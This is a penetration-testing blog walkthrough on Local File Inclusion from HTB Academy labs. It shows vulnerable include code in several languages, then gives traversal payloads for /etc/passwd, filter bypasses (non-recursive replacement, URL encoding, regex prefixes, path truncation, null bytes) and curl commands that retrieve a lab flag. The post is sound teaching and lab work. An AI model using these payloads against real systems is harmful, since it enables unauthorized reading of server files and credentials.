> ## Content Index
> Fetch the complete content index at: https://niklas-heringer.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Introduction to File Inclusion
- URL: https://niklas-heringer.com/penetration-testing/introduction-to-file-inclusion/
- Published: 2025-05-24T07:17:00.000Z
- Updated: 2025-11-19T19:38:39.000Z
- Description: An in-depth and hands-on walkthrough on spotting and exploiting Local File Inclusion (LFI); from classic payloads to modern bypasses, straight from HTB Academy labs.
- Author: Niklas Heringer
- Tags: local-file-inclusion, path-traversal, php, burpsuite, regex, htb, penetration-testing

Hey folks! **Good to see you.**

Modern website tech-stacks often use HTTP parameters to

- enable dynamic web page builds
- reduce script sizes (on the client side)
- reduce server load
- simplify code

Often times, these parameters are not secured properly.

> What if we could manipulate them to display the content of any local file on the hosting server?

This is what we refer to as **Local File Inclusion**. They can lead to source code disclosure, sensitive data exposure, and even remote code execution.

You load a page... you tweak the URL... and suddenly, you're staring at `/etc/passwd`. **Welcome to the world of LFI.**

# LFI's most common victims: templating engines

Ever seen a website's URL end in `/index.php?page=about`? Most often in such cases, **templating engines** like `Twig` or `Jinja2` are used.

> `index.php` only holds static content (header, nav-bar, footer, etc.), the rest is pulled via the parameter - in this case maybe read from a `about.php`. **Might we be able to grab a different file than about?**

## NEVER combine a user-controlled parameter and PHP's `include`

So often to this day, we see code like this:

```php
if (isset($_GET['name'])) {
    include($_GET['name']);
}

```

or maybe for language selection, user settings change, etc.

**ALWAYS check:** does the code **explicitly and comprehensively** filter and sanitize the user input?

> If not --> File Inclusion babyy!

## Other sinners in PHP

```php
include_once()
require()
require_once()
file_get_contents()

```

and others can all have the same effect!

💡

Why care in 2025? Many legacy apps and hastily built admin panels still rely on dynamic includes, making LFI alive and well today.

# Red flags in other languages and environments

## Spotting LFI in Node.js

### Example 1: File Read via Query Parameter

```js
if (req.query.language) {
    fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
        res.write(data);
    });
}

```

What’s happening here?

- The app checks if a query parameter called `language` exists.
- **If it does**, it uses `fs.readFile()` to read the file named in that parameter.
- It joins the input directly with `__dirname` (current directory).
- It then **writes the content of the file** to the HTTP response.

So, what if we did:

```bash
http://example.com/?language=../../../../etc/passwd

```

…the server will try to read that file relative to the app’s directory. **This is a classic LFI vulnerability.**

### Example 2: LFI via Express `render()`

```js
app.get("/about/:language", function(req, res) {
    res.render(`/${req.params.language}/about.html`);
});

```

What’s happening here?

- The route handles URLs like `/about/en`, `/about/de`, etc.
- It takes the language part from the URL path and **uses it to build a file path**.
- Then it uses `res.render()` to render that HTML page from the directory.

If there's no validation, we can again request:

```bash
/about/../../../../../etc/passwd

```

which might trick the server all the same.

## Spotting LFI in Java

The same problem can be spotted in a Java web server - let's look at **Java Server Pages (JSP)**

### Example 1: Include with `<jsp:include>`

```jsp
<c:if test="${not empty param.language}">
    <jsp:include file="<%= request.getParameter('language') %>" />
</c:if>

```

What’s happening here?

- `request.getParameter('language')` takes input from the URL.
- That value is directly passed into the `include` function.

So same attack path:

```bash
/page.jsp?language=../../WEB-INF/web.xml

```

could **include sensitive server files**.

### Example 2: Import with `<c:import>`

```jsp
<c:import url="<%= request.getParameter('language') %>"/>

```

This again includes a file or external URL - it could be abused with e.g. `?language=../../somefile`.

## Spotting LFI in .NET

For .NET web applications, the `Response.WriteFile` function is very similar to all earlier examples:

```bash
@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
    <% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %> 
}

```

What’s happening here?

- Takes a file path for input via `HttpContext.Request.Query[]`
- Writes its content to the `Response` with `Response.WriteFile`

Again, the path is retrieved via a GET parameter for dynamic content loading. Another dangerous one is:

```bash
@Html.Partial(HttpContext.Request.Query['language'])

```

`Html.Partial()` can also be used ot render the specified file as part of the frontend template.

And then again, another classic:

```bash
<!--#include file="<% HttpContext.Request.Query['language'] %>"-->

```

## What can we do with what we learned?

Some of the above only **read** content, others also **execute** specific files. Some even allow **specifying remote URLs**.

| Function                  | Read Content | Execute | Remote URL |
| ------------------------- | ------------ | ------- | ---------- |
| **PHP**                   |              |         |            |
| include()/include\_once() | ✅            | ✅       | ✅          |
| require()/require\_once() | ✅            | ✅       | ❌          |
| file\_get\_contents()     | ✅            | ❌       | ✅          |
| fopen()/file()            | ✅            | ❌       | ❌          |
| **NodeJS**                |              |         |            |
| fs.readFile()             | ✅            | ❌       | ❌          |
| fs.sendFile()             | ✅            | ❌       | ❌          |
| res.render()              | ✅            | ✅       | ❌          |
| **Java**                  |              |         |            |
| include                   | ✅            | ❌       | ❌          |
| import                    | ✅            | ✅       | ✅          |
| **.NET**                  |              |         |            |
| @Html.Partial()           | ✅            | ❌       | ❌          |
| @Html.RemotePartial()     | ✅            | ❌       | ✅          |
| Response.WriteFile()      | ✅            | ❌       | ❌          |
| include                   | ✅            | ✅       | ✅          |

This table is from [HTB Academy](https://academy.hackthebox.com/?ref=niklas-heringer.com) \- a great learning platform, if you use it **on the side and keep up practicing!**

---

# Basic LFI in practice

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/image-84.png)

 On this HTB-training-site, we can swap the language parameter between english and spanish:

```bash
http://94.237.58.73:57686/index.php?language=es.php
#and
http://94.237.58.73:57686/index.php?language=en.php

```

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/image-85.png)

> Oh look, who's Barry?

The same way they let us retrieve a small flag.

## What I Wish They Let Me Try

**Second-Order Local File Inclusion** occurs when the vulnerable path is not taken directly from user input, but rather from a value previously **stored** (e.g., in a database).

> This is still common, developers often trust values that come from their database unchecked.

So it would've been fun having a register site and registring with `username = '../../../etc/passwd'` and then utilizing some function like:

```php
include("/profile/$username/avatar.png");

```

the app would end up including:

```php
/profile/../../../etc/passwd/avatar.png → resolved to /etc/passwd

```

## Basic Bypasses

### Being a bit creative

```php
$language = str_replace('../', '', $_GET['language']);

```

**Oh no, our EVIL MASTERPLAN has been ruined!** `../` is rendered out of the query.

```bash
http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd
#becomes
http://<SERVER_IP>:<PORT>/index.php?language=./languages/etc/passwd

```

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/lfi_blacklist.png)

**Luckily for us**, that filter isn’t recursive, so sneaky inputs like `....//` still decode to `../` \- Path traversal lives!

```bash
http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd

```

still does the job.. just as `..././` or `....\/` and several other recursive LFI payloads.

> In some cases escaping the forward slash character may also work to avoid path traversal filters - like `....\/` or adding extra forward slashes (e.g. `....////`)

### URL Encoding might also help

A [URL Encoder](https://www.urlencoder.org/?ref=niklas-heringer.com) (On your attacker box just use the **Burp Decoder**) could also assist you encoding your payload - **this would help you against the site filtering `.` or `/` out of your payload.**

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/image-86.png)

> Sometimes, also double encoding might help to bypass other types of filters.. let's see in which future post we encounter that again.

---

## Sign up for Niklas Heringer

Cybersecurity & Math: Aspiring penetration tester at ERNW, exploring risk, automation, and offense through analysis and experience.

Subscribe 

Email sent! Check your inbox to complete your signup. 

No spam. Unsubscribe anytime.

---

## Regex Filter Bypass

Some web applications use **Regular Expressions (Regex)** to restrict which file paths can be included, usually limiting them to a specific directory.

```php
if (preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}

```

This Regex expression only allows paths that start with `./languages/` \- for example: `./languages/en.php` or `./languages/es.php`

> To bypass this regex, attackers can start with the approved path, then use path traversal (../) to escape it:

### Bypassing Appended Extensions

Some web apps automatically append a **file extension (e.g., `.php`)** to user input when including files:

```php
include($_GET['language'] . '.php');

```

This restricts LFI payloads to files ending in `.php`.

### Possible Bypass 1: Path Truncation (Legacy PHP <5.3/5.4)

PHP had a string length limit (**≈4096 characters**), if the final file path exceeded that limit, the .php extension could get cut off.

Payload idea:

```bash
?language=non_existing_dir/../../../etc/passwd/./././././././././.  [~2048 times]

```

Automated:

```bash
echo -n "non_existing_dir/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done

```

> The long path gets **truncated before** `.php` is appended. PHP then resolves the path to `/etc/passwd`. 

**Only works on old PHP versions and when `include()` is used.**

### Possible Bypass 2: Null Byte Injection (`%00`) (PHP <5.5)

PHP (like C) used to treat `%00` (null byte) as the end of a string - **anything after `%00` was ignored.** This tricked the engine into dropping `.php`, even if appended.

```bash
?language=/etc/passwd%00

```

The app sees `/etc/passwd%00.php` \- but PHP only reads `/etc/passwd`.

## HTB Filter Bypass Puzzle

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/image-87.png)

This challenge combines multiple bypasses - **let's see what we can do about that.**

```bash
http://94.237.123.14:40988/index.php?language=languages%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

```

gave us nothing, but with `./language/...` it was "Illegal path specified."

Then lets encode:

```bash
languages/....//....//....//....//....//etc\/passwd

```

to

```bash
languages%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc%5C%2Fpasswd

```

Doesn't work, but the regular functionality definitely wants us to stay in `languages/`.

What we also know:

The app checks for regex (so we stay in our path):

```bash
preg_match('/^\.\/languages\/.+$/', ...)

```

The app seems to filter `../` likely with something like:

```bash
str_replace('../', '', $_GET['language']);

```

It may also append `.php` behind the scenes..

The app may block raw `.` or `/`, but might miss encoded characters like:

- `%2e = .`
- `%2f = /`

That way we could build a long traversal string with encoded segments like:

```bash
languages%2f..%2f..%2f..%2f..%2fetc%2fpasswd%2f%2e%2f%2e%2f%2e%2f... [repeat]

```

Then use a loop to automate:

```bash
echo -n "languages/....//....//....//....//etc/passwd" > payload.txt && for i in {1..1500}; do echo -n "%2e%2f" >> payload.txt; done && echo "" >> payload.txt

```

Then paste that full URL as our payload:

```bash
PAYLOAD=$(cat payload.txt)
curl "http://<TARGET_IP>:<PORT>/index.php?language=$PAYLOAD"

```

```bash
curl "http://94.237.123.14:40988/index.php?language=$PAYLOAD"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>414 Request-URI Too Long</title>
</head><body>
<h1>Request-URI Too Long</h1>
<p>The requested URL's length exceeds the capacity
limit for this server.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 192.168.59.203 Port 80</address>
</body></html>

```

a bit too long, let's go with:

```bash
echo -n "languages/....//....//....//....//etc/passwd" > payload.txt && for i in {1..1350}; do echo -n "%2e%2f" >> payload.txt; done && echo "" >> payload.txt

```

yet the answer is still completely normal..

let's try something different..

- Replace `../` with `....////`
- URL-encode everything, including slashes
- Keep payload within \~8000 character limit
- Target PHP truncation (\~4096 bytes of path)
- Use languages/ prefix to bypass regex

```bash
echo -n "languages/....////....////....////....////etc/passwd" > payload.txt && for i in {1..1350}; do echo -n "./" >> payload.txt; done && echo "" >> payload.txt

```

Now, we URL-encode:

```bash
cat payload.txt | jq -sRr @uri

```

Seems too much - does not work.

```bash
http://<TARGET_IP>:<TARGET_PORT>/index.php?language=languages%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2Fetc%2Fpasswd

```

**WORKS!**

So let's do:

```bash
http://<TARGET_IP>:<TARGET_PORT>/index.php?language=languages%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2Fflag.txt

```

BAM! Worked!

Tried a similar bypass that worked differently? DM me anywhere (my platforms are all linked here). **The Forge always welcomes new fire.**